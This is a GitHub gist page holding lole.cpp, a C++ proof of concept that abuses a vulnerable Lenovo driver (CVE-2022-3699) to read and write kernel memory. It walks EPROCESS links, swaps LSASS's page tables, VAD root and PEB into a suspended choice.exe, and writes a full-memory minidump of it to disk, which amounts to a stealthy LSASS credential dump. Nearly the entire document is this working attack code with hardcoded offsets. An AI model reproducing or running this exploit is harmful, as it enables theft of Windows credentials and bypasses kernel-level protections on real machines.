Skip to content

Instantly share code, notes, and snippets.

@alfarom256
Last active June 1, 2023 17:49
Show Gist options
  • Select an option

  • Save alfarom256/3a18868f1ff849d645a99a58cbfb51f6 to your computer and use it in GitHub Desktop.

Select an option

Save alfarom256/3a18868f1ff849d645a99a58cbfb51f6 to your computer and use it in GitHub Desktop.

Revisions

  1. alfarom256 renamed this gist Dec 2, 2022. 1 changed file with 0 additions and 0 deletions.
    File renamed without changes.
  2. alfarom256 created this gist Dec 2, 2022.
    200 changes: 200 additions & 0 deletions lole.cpp
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,200 @@
    #include <Windows.h>
    #include <winternl.h>
    #include <stdio.h>
    #include <DbgHelp.h>
    #include "LenovoMemoryMgr.h"

    #pragma comment(lib, "dbghelp")

    typedef NTSTATUS(WINAPI* pNtQueryVirtualMemory)(HANDLE, PVOID, DWORD, PVOID, SIZE_T, PSIZE_T);

    BOOL SearchEprocessLinksForPid(LenovoMemoryMgr lm, UINT64 Pid, UINT64 SystemEprocess, PUINT64 lpTargetProcess) {
    BOOL bRes = FALSE;
    if (!lpTargetProcess) {
    return FALSE;
    }

    UINT64 ListIter = SystemEprocess + OFFSET_EPROCESS_LINKS;
    UINT64 ListHead = ListIter;
    while (TRUE) {

    bRes = lm.ReadVirtData((ListIter + 0x8), &ListIter);
    if (!bRes) {
    return FALSE;
    }

    if (ListIter == ListHead) {
    puts("Process not found in ActiveProcess links!");
    return FALSE;
    }

    UINT64 IterEprocessBase = ListIter - OFFSET_EPROCESS_LINKS;
    UINT64 IterPid = 0;

    bRes = lm.ReadVirtData((IterEprocessBase + OFFSET_EPROCESS_PID), &IterPid);
    if (!bRes) {
    return FALSE;
    }

    if (IterPid == Pid) {
    printf("Found EPROCESS : %llx - PID %llx\n", IterEprocessBase, IterPid);
    *lpTargetProcess = IterEprocessBase;
    return TRUE;
    }
    }
    }

    UINT64 GetPsInitialSystemProc(UINT64 lpNtoskrnlBase) {
    HMODULE hNtos = LoadLibraryA("ntoskrnl.exe");
    if (!hNtos) {
    return NULL;
    }

    PVOID initial_proc = GetProcAddress(hNtos, "PsInitialSystemProcess");
    initial_proc = (PVOID)(((SIZE_T)initial_proc - (SIZE_T)hNtos) + (SIZE_T)lpNtoskrnlBase);
    FreeLibrary(hNtos);
    return (UINT64)initial_proc;
    }

    int main() {
    /*
    * A haiku for your troubles
    *
    * janky PoC
    * educational purpose
    * probably bluescreen
    *
    *
    */
    UINT64 qwLsassPid = 672;

    // https://github.com/alfarom256/CVE-2022-3699
    LenovoMemoryMgr lm = LenovoMemoryMgr::LenovoMemoryMgr();

    BOOL hasInit = lm.init();
    BOOL bRes = FALSE;

    if (!hasInit) {
    return -1;
    }

    UINT64 OurProcess = 0;
    UINT64 PsInitialSystemProcPtr = GetPsInitialSystemProc(lm.NtosBase);
    printf("Found initial system process at %llx\n", PsInitialSystemProcPtr);
    UINT64 SystemProc = 0;
    lm.ReadVirtData(PsInitialSystemProcPtr, &SystemProc);


    // Find the LSASS process

    UINT64 qwLsassEprocess = 0;
    bRes = SearchEprocessLinksForPid(lm, qwLsassPid, SystemProc, &qwLsassEprocess);
    if (!bRes) {
    puts("Could not find LSASS EPROCESS in EPROCESS links");
    return -1;
    }

    // Find the newly created process that's suspended
    puts("Creating suspended process");
    STARTUPINFOA sa = { 0 };
    PROCESS_INFORMATION pi = { 0 };

    bRes = CreateProcessA("C:\\Windows\\System32\\choice.exe", NULL, NULL, NULL, TRUE, CREATE_SUSPENDED, NULL, NULL, &sa, &pi);
    if (!bRes) {
    printf("Failed to create suspended process - %x\n", GetLastError());
    return -1;
    }

    // sus
    UINT64 qwSusPid = pi.dwProcessId;
    UINT64 qwSuspendedEprocess = 0;


    bRes = SearchEprocessLinksForPid(lm, qwSusPid, SystemProc, &qwSuspendedEprocess);
    if (!bRes) {
    puts("Could not find Suspended EPROCESS in EPROCESS links");
    return -1;
    }

    // copy the VadRoot, DirBase, and PEB from LSASS to the suspended process
    UINT64 DirBase = 0;
    UINT64 OldDirBase = 0;

    UINT64 VadRoot = 0;
    UINT64 OldVadRoot = 0;

    UINT64 LsassPeb = 0;
    UINT64 OldPeb = 0;

    printf("Suspended EPROCESS %llx\n", qwSuspendedEprocess);

    // MUH HARDCODED OFFSETS
    lm.ReadVirtData(qwLsassEprocess + 0x7d8, &VadRoot);
    lm.ReadVirtData(qwSuspendedEprocess + 0x7d8, &OldVadRoot);

    lm.ReadVirtData(qwLsassEprocess + 0x28, &DirBase);
    lm.ReadVirtData(qwSuspendedEprocess + 0x28, &OldDirBase);

    lm.ReadVirtData(qwLsassEprocess + 0x550, &LsassPeb);
    lm.ReadVirtData(qwSuspendedEprocess + 0x550, &OldPeb);

    printf("LSASS VadRoot = %llx\n", VadRoot);
    printf("LSASS Peb = %llx\n", LsassPeb);

    puts("Copying VadRoot and Peb to Suspended Proc");

    lm.WriteVirtData(qwSuspendedEprocess + 0x28, &DirBase);
    lm.WriteVirtData(qwSuspendedEprocess + 0x7d8, &VadRoot);

    /*
    * this will sometimes fail
    * better to rewrite yourself
    * I am not good dev
    */
    lm.WriteVirtData(qwSuspendedEprocess + 0x550, &LsassPeb);

    UINT64 tmp = 0;

    lm.ReadVirtData(qwSuspendedEprocess + 0x28, &tmp);
    printf("Suspended DirBase = %llx\n", tmp);

    lm.ReadVirtData(qwSuspendedEprocess + 0x7d8, &tmp);
    printf("Suspended VadRoot = %llx\n", tmp);

    lm.ReadVirtData(qwSuspendedEprocess + 0x550, &tmp);
    printf("Suspended Peb = %llx\n", tmp);


    // dump the suspended process
    HANDLE hDump = CreateFileA("C:\\Users\\User\\Desktop\\sus.dmp", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    if (!hDump) {
    printf("Failed to create dump file for writing - %d\n", GetLastError());
    return -1;
    }

    UINT64 pebLdr_tmp = 0;
    SIZE_T dwBytesRead = 0;
    BOOL bRpm = FALSE;

    /*
    * MiniDump is bad
    * but PoC is lazy
    * I don't care bro lole
    */
    bRes = MiniDumpWriteDump(pi.hProcess, pi.dwProcessId, hDump, MiniDumpWithFullMemory, NULL, NULL, NULL);
    if (!bRes) {
    printf("Failed to take a dump (have some dulcolax) - %x\n", GetLastError());
    }
    else {
    puts("Created minidump, restoring VadRoot before terminating [enter]");
    }


    lm.WriteVirtData(qwSuspendedEprocess + 0x28, &OldDirBase);
    lm.WriteVirtData(qwSuspendedEprocess + 0x7d8, &OldVadRoot);
    lm.WriteVirtData(qwSuspendedEprocess + 0x550, &OldPeb);

    TerminateProcess(pi.hProcess, 0);
    lm.teardown();
    return 0;
    }